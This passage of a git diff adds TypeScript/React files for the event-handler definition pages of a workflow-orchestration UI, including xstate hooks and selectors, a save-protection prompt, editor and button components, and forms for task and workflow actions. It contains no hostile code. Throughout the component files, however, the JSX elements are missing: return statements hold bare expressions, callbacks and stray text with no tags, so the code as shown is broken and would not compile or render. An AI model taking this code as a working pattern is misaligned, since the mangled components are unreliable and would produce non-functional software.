+ +export type ChangeValueEvent = { + type: MetadataFieldMachineEventTypes.CHANGE_VALUE; + value: string; +}; + +export type ValueUpdatedEvent = { + type: MetadataFieldMachineEventTypes.VALUE_UPDATED; + value: string; +}; + +// export type DisableEditingEvent = { +// type: EditInPlaceEventTypes.DISABLE_EDITING; +// }; + +export type MetdataFieldMachineEvents = ChangeValueEvent | ValueUpdatedEvent; diff --git a/ui-next/src/pages/definition/EditorPanel/hook.ts b/ui-next/src/pages/definition/EditorPanel/hook.ts new file mode 100644 index 0000000..5758602 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/hook.ts @@ -0,0 +1,92 @@ +import { ActorRef } from "xstate"; +import { useSelector } from "@xstate/react"; + +import fastDeepEqual from "fast-deep-equal"; + +import { + DefinitionMachineEventTypes, + WorkflowDefinitionEvents, +} from "../state/types"; +import { usePanelChanges } from "pages/definition/state/usePanelChanges"; +import { + isSaveRequestSelector, + versionSelector, + versionsSelector, +} from "./selectors"; + +export const useDefinitionMachine = ( + service: ActorRef, +) => { + const handleConfirmReset = () => + service.send({ type: DefinitionMachineEventTypes.RESET_CONFIRM_EVT }); + + const handleChangeVersion = (version: string) => + service.send({ + type: DefinitionMachineEventTypes.CHANGE_VERSION_EVT, + version, + }); + + const handleConfirmDelete = () => + service.send({ type: DefinitionMachineEventTypes.DELETE_CONFIRM_EVT }); + + const handleCancelRequest = () => + service.send({ type: DefinitionMachineEventTypes.CANCEL_EVENT_EVT }); + + const handleConfirmLastForkRemovalRequest = () => + service.send({ + type: DefinitionMachineEventTypes.CONFIRM_LAST_FORK_REMOVAL, + }); + + const isConfirmDelete = useSelector(service, (state) => + state.matches("ready.rightPanel.opened.confirmDelete"), + ); + + const version = useSelector(service, versionSelector); + + const versions = useSelector(service, versionsSelector, fastDeepEqual); + + const isConfirmReset = useSelector(service, (state) => + state.matches("ready.rightPanel.opened.confirmReset"), + ); + + const isSaveRequest = useSelector(service, isSaveRequestSelector); + + const isRunWorkflow = useSelector(service, (state) => + state.matches("ready.rightPanel.opened.runWorkflow"), + ); + + const isConfirmingForkRemoval = useSelector(service, (state) => + state.matches("ready.diagram.branchRemoval.confirmForkJoinRemoval"), + ); + + const openedTab = useSelector(service, (state) => state.context.openedTab); + + const changeTab = (tab: number) => { + service.send({ type: DefinitionMachineEventTypes.CHANGE_TAB_EVT, tab }); + }; + + const { leftPanelExpanded, setLeftPanelExpanded } = usePanelChanges(service); + + return [ + { + handleConfirmReset, + handleChangeVersion, + handleConfirmDelete, + handleCancelRequest, + handleConfirmLastForkRemovalRequest, + changeTab, + setLeftPanelExpanded, + }, + { + isConfirmDelete, + version, + versions, + isConfirmReset, + openedTab, + isSaveRequest, + isConfirmingForkRemoval, + leftPanelExpanded, + isRunWorkflow, + }, + ] as const; +}; diff --git a/ui-next/src/pages/definition/EditorPanel/selectors.ts b/ui-next/src/pages/definition/EditorPanel/selectors.ts new file mode 100644 index 0000000..dbc383b --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/selectors.ts @@ -0,0 +1,11 @@ +import { State } from "xstate"; +import { DefinitionMachineContext } from "../state"; + +export const versionSelector = (state: State) => + state.context.currentVersion; + +export const versionsSelector = (state: State) => + state.context.workflowVersions; + +export const isSaveRequestSelector = (state: State) => + state.hasTag("saveRequest"); diff --git a/ui-next/src/pages/definition/EventHandler/EventHandler.tsx b/ui-next/src/pages/definition/EventHandler/EventHandler.tsx new file mode 100644 index 0000000..c0a062e --- /dev/null +++ b/ui-next/src/pages/definition/EventHandler/EventHandler.tsx @@ -0,0 +1,224 @@ +import { Box, CircularProgress, Paper, Tab, Tabs } from "@mui/material"; +import { DocLink } from "components/ui/DocLink"; +import ConfirmChoiceDialog from "components/ui/dialogs/ConfirmChoiceDialog"; +import { SnackbarMessage } from "components/ui/SnackbarMessage"; +import { ConductorSectionHeader } from "components/layout/section/ConductorSectionHeader"; +import EventHandlerButton from "pages/definition/EventHandler/eventhandlers/EventHandlerButton"; +import EventHandlerEditor from "pages/definition/EventHandler/eventhandlers/EventHandlerEditor"; +import EventHandlerForm from "pages/definition/EventHandler/eventhandlers/FormComponent/EventHandlerForm"; +import { useEventHandlerDefinition } from "pages/definition/EventHandler/eventhandlers/state/hook"; +import { Helmet } from "react-helmet"; +import SectionContainer from "components/ui/layout/SectionContainer"; +import { colors } from "theme/tokens/variables"; +import { DOC_LINK_URL } from "utils/constants/docLink"; +import { EVENT_HANDLERS_URL } from "utils/constants/route"; +import { ActorRef } from "xstate"; +import { FormHandlerEvents } from "./eventhandlers/FormComponent/state/types"; +import { SaveProtectionPrompt } from "./SaveProtectionPrompt"; + +export default function EventHandlerDefinition() { + const [ + { + handleSaveRequest, + handleCancelRequest, + handleResetRequest, + handleEditChanges, + handleConfirmSaveRequest, + handleConfirmReset, + handleDeleteRequest, + handleConfirmDelete, + handleBackToIdle, + handleClearErrorMessage, + toggleFormMode, + service, + }, + { + isNewEventHandler, + editorChanges, + isConfirmSave, + isConfirmReset, + isSaving, + originalSource, + isConfirmDelete, + madeChanges, + message, + eventHandlerName, + isFormMode, + couldNotParseJson, + isEditorMode, + isFetching, + }, + ] = useEventHandlerDefinition(); + + return ( + + {isConfirmReset && ( + { + if (confirmed) { + handleConfirmReset?.(); + } else { + handleBackToIdle?.(); + } + }} + message={ + "You will lose all changes made in the editor. Please confirm resetting this Event Handler definition to its original state." + } + /> + )} + + {isConfirmDelete && ( + { + if (confirmed) { + handleConfirmDelete?.(); + } else { + handleBackToIdle?.(); + } + }} + message={ + <> + Are you sure you want to delete{" "} + {eventHandlerName} Event + Handler definition? This change cannot be undone. +
      + Please type {eventHandlerName} to confirm +
      + + } + valueToBeDeleted={eventHandlerName} + isInputConfirmation + /> + )} + + + Event Handler Definition -  + {eventHandlerName ? eventHandlerName : "NEW"} + + + + + } + /> + } + > + + {message && ( + handleClearErrorMessage()} + /> + )} + + + + + + + + + + {isFetching ? ( + + + + ) : ( + + theme.palette?.mode === "dark" ? colors.gray14 : undefined, + backgroundColor: (theme) => theme.palette.customBackground.form, + }} + > + {isFormMode ? ( + + } + /> + ) : ( + + )} + + )} + + +       + ); +} diff --git a/ui-next/src/pages/definition/EventHandler/SaveProtectionPrompt.tsx b/ui-next/src/pages/definition/EventHandler/SaveProtectionPrompt.tsx new file mode 100644 index 0000000..085b9c3 --- /dev/null +++ b/ui-next/src/pages/definition/EventHandler/SaveProtectionPrompt.tsx @@ -0,0 +1,173 @@ +import { useSelector } from "@xstate/react"; +import fastDeepEqual from "fast-deep-equal"; +import { omit } from "lodash"; +import { FunctionComponent } from "react"; +import BlockNavigationWithConfirmation from "components/BlockNavigationWithConfirmation"; +import { useSaveProtection } from "shared/useSaveProtection"; +import { ActorRef, AnyEventObject } from "xstate"; +import { + SaveEventHandlerEvents, + SaveEventHandlerMachineContext, + SaveEventHandlerMachineEventTypes, + SaveEventHandlerStates, +} from "./eventhandlers/state"; + +export interface SaveProtectionPromptProps { + service: ActorRef; +} + +const useCheckForChanges = ( + formActor: ActorRef | null, + editorActor: ActorRef, +) => { + // Always call hooks unconditionally - use editorActor as fallback if formActor is null + const formData = useSelector( + formActor || editorActor, + (state: { + context: { eventAsJson?: unknown; originalSource?: unknown }; + }) => { + // Check if this is form actor context + if (state.context.eventAsJson !== undefined) { + return { + eventAsJson: state.context.eventAsJson, + originalSource: state.context.originalSource, + }; + } + return null; + }, + ); + + const [editorChanges, editorOriginalSource] = useSelector( + editorActor, + (state) => [state.context.editorChanges, state.context.originalSource], + ); + + // Use form data if formActor exists and we have form data, otherwise use editor data + if ( + formActor && + formData && + formData.eventAsJson && + formData.originalSource + ) { + return fastDeepEqual( + omit(formData.eventAsJson as Record, "action"), + formData.originalSource, + ); + } else { + return fastDeepEqual(editorChanges, editorOriginalSource); + } +}; + +export const SaveProtectionPrompt: FunctionComponent< + SaveProtectionPromptProps +> = ({ service }) => { + // @ts-expect-error - children type is not fully typed + const formActor = service?.children?.get("eventFormMachine") as + | ActorRef + | undefined; + + const noFormChanges = useCheckForChanges(formActor || null, service); + + const { + showPrompt, + successfulSave, + hasErrors, + handleSave: baseHandleSave, + } = useSaveProtection( + { + actor: service, + noFormChanges, + isSaveInProgress: (state) => { + // Check if we're in CONFIRM_SAVE state (save confirmation dialog) or saving states + return ( + state.matches(SaveEventHandlerStates.CONFIRM_SAVE) || + state.matches(SaveEventHandlerStates.CREATE_EVENT_HANDLER) || + state.matches(SaveEventHandlerStates.UPDATE_EVENT_HANDLER) + ); + }, + hasErrors: (state) => { + const context = state.context; + + // Check for parse errors + if (context.couldNotParseJson) { + return true; + } + + // Check for API errors + if (context.message) { + return true; + } + + return false; + }, + detectSaveSuccessFromEvent: (eventType) => { + // Check for successful save event + if (eventType === SaveEventHandlerMachineEventTypes.SAVED_SUCCESSFUL) { + return true; + } + // Check for cancelled save event + if (eventType === SaveEventHandlerMachineEventTypes.SAVED_CANCELLED) { + return false; + } + return undefined; + }, + detectSaveSuccessFromContext: ({ + currentContext, + previousContext, + wasSaving, + isSaving, + }) => { + // If we were saving and now we're not, check if originalSource was updated + if (wasSaving && !isSaving && previousContext) { + const currentOriginStr = currentContext.originalSource; + const prevOriginStr = previousContext.originalSource; + + // If origin was updated, save was successful + if (currentOriginStr !== prevOriginStr) { + return true; + } + } + return false; + }, + handleSaveAction: (actor) => { + // Check current state to see if we're already in the save confirmation dialog + const snapshot = actor.getSnapshot(); + const isInSaveConfirmation = snapshot.matches( + SaveEventHandlerStates.CONFIRM_SAVE, + ); + + // If we're already in the save confirmation dialog, trigger the save immediately + if (isInSaveConfirmation) { + actor.send({ + type: SaveEventHandlerMachineEventTypes.CONFIRM_SAVE_EVT, + }); + } else { + // Open the save confirmation dialog + // User will need to click "Confirm Save" button in the save confirmation dialog + actor.send({ + type: SaveEventHandlerMachineEventTypes.SAVE_EVT, + }); + } + }, + }, + ); + + const handleSave = baseHandleSave; + + return ( + + Your recent changes are not saved to the server. To run the new event + handler, you have to save your progress. + + } + title={"Unsaved event handler confirmation"} + block={showPrompt} + onSave={handleSave} + successfulSave={successfulSave} + hasErrors={hasErrors} + /> + ); +}; diff --git a/ui-next/src/pages/definition/EventHandler/eventhandlers/EventHandlerButton.tsx b/ui-next/src/pages/definition/EventHandler/eventhandlers/EventHandlerButton.tsx new file mode 100644 index 0000000..404fb32 --- /dev/null +++ b/ui-next/src/pages/definition/EventHandler/eventhandlers/EventHandlerButton.tsx @@ -0,0 +1,210 @@ +import { Box, Stack, Tooltip } from "@mui/material"; +import { useSelector } from "@xstate/react"; +import { FunctionComponent, useMemo } from "react"; +import fastDeepEqual from "fast-deep-equal"; +import { omit } from "lodash"; +import { colors } from "theme/tokens/variables"; +import Button, { MuiButtonProps } from "components/ui/buttons/MuiButton"; +import _isEmpty from "lodash/isEmpty"; +import { tryToJson } from "utils/utils"; +import ResetIcon from "components/icons/ResetIcon"; +import SaveIcon from "components/icons/SaveIcon"; +import TrashIcon from "components/icons/TrashIcon"; +import XCloseIcon from "components/icons/XCloseIcon"; +import { useAuth } from "components/features/auth"; + +const withFormState = + ( + ButtonComponent: FunctionComponent, + actor: any, + isTrialExpired: boolean, + ) => + (buttonProps: MuiButtonProps) => { + const [eventAsJson, originalSource] = useSelector(actor, (state: any) => [ + state.context.eventAsJson, + state.context.originalSource, + ]); + const noChanges = useMemo( + () => fastDeepEqual(omit(eventAsJson, "action"), originalSource), + [eventAsJson, originalSource], + ); + const { name, event } = eventAsJson; + const emptyValue = [event?.trim(), name?.trim()].some((value) => + _isEmpty(value?.trim()), + ); + const isReset = buttonProps?.role === "reset"; + const disableSave = emptyValue || noChanges || isTrialExpired; + return ( + + ); + }; + +const withEditorState = + ( + ButtonComponent: FunctionComponent, + actor: any, + isTrialExpired: boolean, + ) => + (buttonProps: MuiButtonProps) => { + const [editorChanges, originalSource, invalidJson] = useSelector( + actor, + (state: any) => [ + state.context.editorChanges, + state.context.originalSource, + state.context.couldNotParseJson, + ], + ); + + const isEmptyValue = useMemo(() => { + if (!editorChanges) return false; + const parsedEditorChanges = tryToJson(editorChanges) as { + name: string; + event: string; + }; + const { name, event } = parsedEditorChanges || {}; + return [event?.trim(), name?.trim()].some((value) => _isEmpty(value)); + }, [editorChanges]); + + const noChanges = useMemo( + () => fastDeepEqual(editorChanges, originalSource), + [editorChanges, originalSource], + ); + const isReset = buttonProps?.role === "reset"; + const disableSave = + noChanges || invalidJson || isEmptyValue || isTrialExpired; + return ( + + ); + }; + +type Props = { + isConfirmSave?: boolean; + isConfirmReset?: boolean; + isSaving?: boolean; + handleConfirmSaveRequest?: () => void; + handleCancelRequest?: () => void; + handleSaveRequest?: () => void; + handleResetRequest?: () => void; + isNewEventHandler?: boolean; + handleDeleteRequest?: () => void; + service: any; + disableDeleteBtn: boolean; +}; + +const EventHandlerButton = ({ + isConfirmSave, + isSaving, + handleConfirmSaveRequest, + handleCancelRequest, + handleSaveRequest, + handleResetRequest, + handleDeleteRequest, + isNewEventHandler, + service, + disableDeleteBtn, +}: Props) => { + const { isTrialExpired } = useAuth(); + const formActor = service?.children?.get("eventFormMachine"); + const isInForm = useSelector(service, (state: any) => + state.matches("idle.form"), + ); + + const SaveResetButton = + isInForm && formActor + ? withFormState(Button, formActor, isTrialExpired) + : withEditorState(Button, service, isTrialExpired); + + return ( + + theme.palette?.mode === "dark" ? colors.gray14 : undefined, + backgroundColor: (theme) => + theme.palette?.mode === "dark" ? colors.gray00 : colors.gray14, + }} + > + + {(isConfirmSave || isSaving) && ( + + + + + )} + {!isConfirmSave && !isSaving && ( + <> + + {!isNewEventHandler && ( + + + + )} + + } + > + Reset + + + } + > + Save + + + + )} + + + ); +}; + +export default EventHandlerButton; diff --git a/ui-next/src/pages/definition/EventHandler/eventhandlers/EventHandlerEditor.tsx b/ui-next/src/pages/definition/EventHandler/eventhandlers/EventHandlerEditor.tsx new file mode 100644 index 0000000..a31fb40 --- /dev/null +++ b/ui-next/src/pages/definition/EventHandler/eventhandlers/EventHandlerEditor.tsx @@ -0,0 +1,106 @@ +import Editor from "@monaco-editor/react"; +import { Box } from "@mui/material"; +import { DiffEditor } from "components/ui/DiffEditor"; +import { useContext, useRef } from "react"; +import { defaultEditorOptions } from "shared/editor"; +import { ColorModeContext } from "theme/material/ColorModeContext"; +import { configureMonaco } from "utils/monacoUtils/CodeEditorUtils"; + +type Props = { + handleEditChanges?: (code: string) => void; + editorChanges?: string; + isConfirmSave?: boolean; + originalSource?: string; +}; + +const EventHandlerEditor = ({ + handleEditChanges, + editorChanges, + isConfirmSave, + originalSource, +}: Props) => { + const { mode } = useContext(ColorModeContext); + const editorTheme = mode === "dark" ? "vs-dark" : "vs-light"; + + const monacoObjects = useRef(null); + + function handleEditorWillMount(monaco: any) { + configureMonaco(monaco); + } + + const handleEditorDidMount = (editor: any) => { + monacoObjects.current = editor; + if (handleEditChanges) { + handleEditChanges(editor.getValue()); + } + + monacoObjects.current.onDidChangeModelContent(() => { + if (handleEditChanges) { + handleEditChanges(editor.getValue()); + } + }); + }; + return ( + <> + + + {isConfirmSave ? ( + + ) : ( + { + if (typeof maybeText === "string") { + if (handleEditChanges) { + handleEditChanges(maybeText); + } + } + }} + /> + )} + + + + ); +}; + +export default EventHandlerEditor; diff --git a/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/ActionForms/CompleteTask.tsx b/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/ActionForms/CompleteTask.tsx new file mode 100644 index 0000000..3f71f42 --- /dev/null +++ b/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/ActionForms/CompleteTask.tsx @@ -0,0 +1,69 @@ +import { Grid } from "@mui/material"; +import IconButton from "components/ui/buttons/MuiIconButton"; +import MuiTypography from "components/ui/MuiTypography"; +import { ConductorUpdateTaskFormEvent } from "components/inputs/ConductorUpdateTaskFromEvent"; +import { ConductorFlatMapFormBase } from "components/FlatMapForm/ConductorFlatMapForm"; +import XCloseIcon from "components/icons/XCloseIcon"; +import { Props } from "./common"; + +export const CompleteTask = ({ + onRemove, + index, + payload, + handleChangeAction, +}: Props) => { + const { complete_task } = payload; + + return ( + + + + Complete Task + + + + { + handleChangeAction(index, { + ...payload, + complete_task: { ...upCt, output: complete_task?.output }, + }); + }} + /> + + + { + handleChangeAction(index, { + ...payload, + complete_task: { + ...complete_task, + output: newValues, + }, + }); + }} + value={{ ...complete_task?.output }} + title="Output" + keyColumnLabel="Key" + valueColumnLabel="Value" + addItemLabel="Add parameter" + showFieldTypes + enableAutocomplete={false} + autoFocusField={false} + /> + + + + + + ); +}; diff --git a/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/ActionForms/FailTask.tsx b/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/ActionForms/FailTask.tsx new file mode 100644 index 0000000..b8f7fc7 --- /dev/null +++ b/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/ActionForms/FailTask.tsx @@ -0,0 +1,70 @@ +import { Grid } from "@mui/material"; +import HelperText from "components/ui/inputs/HelperText"; +import IconButton from "components/ui/buttons/MuiIconButton"; +import MuiTypography from "components/ui/MuiTypography"; +import { ConductorUpdateTaskFormEvent } from "components/inputs/ConductorUpdateTaskFromEvent"; +import { ConductorFlatMapFormBase } from "components/FlatMapForm/ConductorFlatMapForm"; +import XCloseIcon from "components/icons/XCloseIcon"; +import { Props } from "./common"; + +export const FailTask = ({ + onRemove, + index, + payload, + handleChangeAction, +}: Props) => { + const { fail_task } = payload; + + return ( + + + + Fail Task + + Choose between one of these options + + + { + handleChangeAction(index, { + ...payload, + fail_task: { ...upCt, output: fail_task?.output }, + }); + }} + /> + + + { + handleChangeAction(index, { + ...payload, + fail_task: { + ...fail_task, + output: newValues, + }, + }); + }} + value={{ ...fail_task?.output }} + title="Output" + keyColumnLabel="Key" + valueColumnLabel="Value" + addItemLabel="Add parameter" + showFieldTypes + enableAutocomplete={false} + autoFocusField={false} + /> + + + + + + + + ); +}; diff --git a/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/ActionForms/StartWorkflowTask.tsx b/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/ActionForms/StartWorkflowTask.tsx new file mode 100644 index 0000000..6e58c1d --- /dev/null +++ b/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/ActionForms/StartWorkflowTask.tsx @@ -0,0 +1,235 @@ +import { Grid } from "@mui/material"; +import IconButton from "components/ui/buttons/MuiIconButton"; +import MuiTypography from "components/ui/MuiTypography"; +import { ConductorAutoComplete } from "components/ui/inputs"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import { ConductorFlatMapFormBase } from "components/FlatMapForm/ConductorFlatMapForm"; +import XCloseIcon from "components/icons/XCloseIcon"; +import _isEmpty from "lodash/isEmpty"; +import _isUndefined from "lodash/isUndefined"; +import { FocusEvent, useMemo } from "react"; +import { useWorkflowNamesAndVersions } from "utils/query"; +import { Props } from "./common"; +import IdempotencyForm from "pages/runWorkflow/IdempotencyForm"; +import { IdempotencyStrategyEnum } from "pages/runWorkflow/types"; +import { IdempotencyValuesProp } from "pages/definition/RunWorkflow/state"; + +export const StartWorkflowActionForm = ({ + onRemove, + index, + payload, + handleChangeAction, +}: Props) => { + const { start_workflow } = payload; + const fetchedNamesAndVersions = useWorkflowNamesAndVersions(); + const options = useMemo( + () => + fetchedNamesAndVersions.size === 0 + ? [] + : Array.from(fetchedNamesAndVersions.keys()), + [fetchedNamesAndVersions], + ); + + const maybeSelectedWorkflowName = useMemo( + () => (_isEmpty(start_workflow?.name) ? undefined : start_workflow?.name), + [start_workflow?.name], + ); + + const availableVersions: string[] = useMemo(() => { + const versions: number[] = + fetchedNamesAndVersions.get(maybeSelectedWorkflowName) || []; + + return _isUndefined(maybeSelectedWorkflowName) && !_isEmpty(options) + ? [] + : versions.map((val) => val.toString()); + }, [maybeSelectedWorkflowName, fetchedNamesAndVersions, options]); + + const handleIdempotencyValues = (data: IdempotencyValuesProp) => { + const idempotencyStrategy = () => { + if (data.idempotencyStrategy) { + return data.idempotencyStrategy; + } + if (start_workflow?.idempotencyStrategy) { + return start_workflow?.idempotencyStrategy; + } + return IdempotencyStrategyEnum.RETURN_EXISTING; + }; + + const updatedPayload = { + ...payload, + start_workflow: { + ...start_workflow, + idempotencyKey: data?.idempotencyKey, + idempotencyStrategy: data?.idempotencyKey + ? idempotencyStrategy() + : undefined, + }, + }; + handleChangeAction(index, updatedPayload); + }; + + return ( + + + + Start Workflow + + + + + handleChangeAction(index, { + ...payload, + start_workflow: { + ...start_workflow, + name: value, + }, + }) + } + onBlur={(event: FocusEvent) => { + handleChangeAction(index, { + ...payload, + start_workflow: { + ...start_workflow, + name: event.target.value, + }, + }); + }} + conductorInputProps={{ + placeholder: `\${event.payload.workflow_name}`, + }} + /> + + + + handleChangeAction(index, { + ...payload, + start_workflow: { + ...start_workflow, + version: value, + }, + }) + } + onBlur={(event: FocusEvent) => { + handleChangeAction(index, { + ...payload, + start_workflow: { + ...start_workflow, + version: event.target.value, + }, + }); + }} + conductorInputProps={{ + placeholder: "latest", + }} + /> + + + + handleChangeAction(index, { + ...payload, + start_workflow: { + ...start_workflow, + correlationId: value, + }, + }) + } + /> + + + + + + + + { + handleChangeAction(index, { + ...payload, + start_workflow: { + ...start_workflow, + input: newValues, + }, + }); + }} + value={{ ...start_workflow?.input }} + title="Input variables" + keyColumnLabel="Key" + valueColumnLabel="Value" + addItemLabel="Add parameter" + showFieldTypes + enableAutocomplete={false} + autoFocusField={false} + /> + + + { + handleChangeAction(index, { + ...payload, + start_workflow: { + ...start_workflow, + taskToDomain: newValues, + }, + }); + }} + value={{ ...start_workflow?.taskToDomain }} + title="Tasks to domain mapping" + keyColumnLabel="Key" + valueColumnLabel="Value" + addItemLabel="Add parameter" + showFieldTypes={false} + enableAutocomplete={false} + autoFocusField={false} + /> + + + + + + ); +}; diff --git a/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/ActionForms/TerminateWorkflowTask.tsx b/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/ActionForms/TerminateWorkflowTask.tsx new file mode 100644 index 0000000..b680da6 --- /dev/null +++ b/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/ActionForms/TerminateWorkflowTask.tsx @@ -0,0 +1,76 @@ +import { Grid } from "@mui/material"; +import IconButton from "components/ui/buttons/MuiIconButton"; +import MuiTypography from "components/ui/MuiTypography"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import XCloseIcon from "components/icons/XCloseIcon"; +import { Props } from "./common"; + +export const TerminateWorkflowForm = ({ + onRemove, + index, + payload, + handleChangeAction, +}: Props) => { + const { terminate_workflow } = payload; + + const handleChange = (field: string, value: string) => { + handleChangeAction(index, { + ...payload, + terminate_workflow: { + ...terminate_workflow, + [field]: value, + }, + }); + }; + + return ( + + + + Terminate Workflow + + + + handleChange("workflowId", value)} + /> + + + + handleChange("terminationReason", value) + } + /> + + + + + + ); +}; diff --git a/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/ActionForms/UpdateWorkflowTask.tsx b/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/ActionForms/UpdateWorkflowTask.tsx new file mode 100644 index 0000000..38f4a66 --- /dev/null +++ b/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/ActionForms/UpdateWorkflowTask.tsx @@ -0,0 +1,100 @@ +import { FormControlLabel, Grid } from "@mui/material"; +import HelperText from "components/ui/inputs/HelperText"; +import MuiCheckbox from "components/ui/MuiCheckbox"; +import IconButton from "components/ui/buttons/MuiIconButton"; +import MuiTypography from "components/ui/MuiTypography"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import { ConductorFlatMapFormBase } from "components/FlatMapForm/ConductorFlatMapForm"; +import XCloseIcon from "components/icons/XCloseIcon"; +import { Props } from "./common"; + +export const UpdateWorkflowForm = ({ + onRemove, + index, + payload, + handleChangeAction, +}: Props) => { + const { update_workflow_variables } = payload; + + return ( + + + + Update Workflow Variables + + + + + handleChangeAction(index, { + ...payload, + update_workflow_variables: { + ...update_workflow_variables, + workflowId: value, + }, + }) + } + /> + + + + handleChangeAction(index, { + ...payload, + update_workflow_variables: { + ...update_workflow_variables, + appendArray: event.target.checked, + }, + }) + } + control={ + + } + label={"Append List Variables (instead of replacing)"} + sx={{ color: "#767676", ">span": { fontWeight: 600 } }} + /> + + If this value is checked, all list (array) variables in the workflow + will be treated as append instead of replace. This can be used to + collect data from a series of events into a single workflow. + + + + { + handleChangeAction(index, { + ...payload, + update_workflow_variables: { + ...update_workflow_variables, + variables: newValues, + }, + }); + }} + value={{ ...update_workflow_variables?.variables }} + title="Output" + keyColumnLabel="Key" + valueColumnLabel="Value" + addItemLabel="Add parameter" + showFieldTypes + enableAutocomplete={false} + autoFocusField={false} + /> + + + + + + ); +}; diff --git a/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/ActionForms/common.ts b/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/ActionForms/common.ts new file mode 100644 index 0000000..df9b733 --- /dev/null +++ b/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/ActionForms/common.ts @@ -0,0 +1,45 @@ +export const formContainerStyle = { + marginTop: 5, + marginBottom: 5, + display: "flex", + flexWrap: "wrap", + width: "100%", + gap: "20px", +}; + +export const boxStyle = { + display: "flex", + alignItems: "center", +}; + +export const textFieldStyle = { + ">div": { + width: 220, + }, +}; + +export type Props = { + onRemove?: () => void; + index?: number; + payload?: any; + handleChangeAction?: any; +}; + +export const formBoxStyle = { + width: "calc(100% - 180px)", + "@media screen and (max-width: 860px)": { + width: "100%", + }, +}; + +export const flatMapStyle = { + maxWidth: "100%", +}; + +export const removeButtonStyle = { + height: "fit-content", + position: "relative", + bottom: "0px", + right: "40px", + background: "#e3e3e3", +}; diff --git a/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/EventHandlerForm.tsx b/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/EventHandlerForm.tsx new file mode 100644 index 0000000..7d7de1e --- /dev/null +++ b/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/EventHandlerForm.tsx @@ -0,0 +1,258 @@ +import { + Box, + Divider, + FormControlLabel, + Grid, + MenuItem, + Switch, + Theme, + Tooltip, + createFilterOptions, +} from "@mui/material"; +import { Plus } from "@phosphor-icons/react"; +import { ChangeEvent, Fragment } from "react"; +import { ActorRef } from "xstate"; + +import { Button } from "components"; +import { ConductorAutoComplete } from "components/ui/inputs"; +import { ConductorCodeBlockInput } from "components/ui/inputs/ConductorCodeBlockInput"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import ConductorSelect from "components/ui/inputs/ConductorSelect"; +import { colors } from "theme/tokens/variables"; +import { useEventNameSuggestions } from "utils/hooks/useEventNameSuggestions"; +import { CompleteTask } from "./ActionForms/CompleteTask"; +import { FailTask } from "./ActionForms/FailTask"; +import { StartWorkflowActionForm } from "./ActionForms/StartWorkflowTask"; +import { TerminateWorkflowForm } from "./ActionForms/TerminateWorkflowTask"; +import { UpdateWorkflowForm } from "./ActionForms/UpdateWorkflowTask"; +import { useEventHandlerFormActor } from "./state/hook"; +import { Action, FormHandlerEvents, actionLabel } from "./state/types"; + +const containerStyle = { + maxWidth: 818, + color: (theme: Theme) => + theme.palette?.mode === "dark" ? colors.gray14 : undefined, + backgroundColor: (theme: Theme) => theme.palette.customBackground.form, +}; + +const filter = createFilterOptions(); + +const EventHandlerForm = ({ + actor, +}: { + actor: ActorRef; +}) => { + const [ + { action, name, condition, actions, event, active, description }, + { + handleChangeAction, + handleChange, + handleAction, + removeAction, + handleEventChange, + }, + ] = useEventHandlerFormActor(actor); + + const suggestions = useEventNameSuggestions(); + + return ( + <> + + + + + + + + handleChange("name", val)} + /> + + + + handleChange("description", value) + } + value={description} + placeholder="Enter description" + /> + + + handleEventChange(val)} + onInputChange={(_, val) => handleEventChange(val)} + freeSolo + selectOnFocus + filterOptions={(options, params) => { + const filtered = filter(options, params); + + const { inputValue } = params; + // Suggest the creation of a new value + const isExisting = options.some( + (option) => inputValue === option, + ); + + if (inputValue !== "" && !isExisting) { + filtered.push(`${inputValue}`); + } + + return filtered; + }} + /> + + + handleChange("condition", val)} + /> + + + + ) => + handleChange("action", e.target.value) + } + > + {Object.values(Action).map((val) => ( + + {actionLabel[val]} + + ))} + + + + + + + + + + + + + {actions?.map((action: any, index: number) => { + const renderFormComponent = ( + Component: any, + keyPrefix: string, + ) => { + const key = `${keyPrefix}-${index}`; + return ( + + removeAction(index)} + handleChangeAction={handleChangeAction} + payload={action} + index={index} + /> + {index !== actions.length - 1 && ( + + + + )} + + ); + }; + + switch (action.action) { + case Action.FAIL_TASK: + return renderFormComponent(FailTask, `fail_task`); + case Action.START_WORKFLOW: + return renderFormComponent( + StartWorkflowActionForm, + `startWorkflow`, + ); + case Action.TERMINATE_WORKFLOW: + return renderFormComponent( + TerminateWorkflowForm, + `terminate`, + ); + case Action.UPDATE_WORKFLOW_VARIABLES: + return renderFormComponent( + UpdateWorkflowForm, + `updateWf`, + ); + case Action.COMPLETE_TASK: + return renderFormComponent(CompleteTask, `complete`); + default: + return null; + } + })} + + + + + handleChange("active", val.target.checked) + } + /> + } + label="Active" + sx={{ mb: 3 }} + /> + + + + + + + + + + ); +}; + +export default EventHandlerForm; diff --git a/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/state/actions.ts b/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/state/actions.ts new file mode 100644 index 0000000..e17a10b --- /dev/null +++ b/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/state/actions.ts @@ -0,0 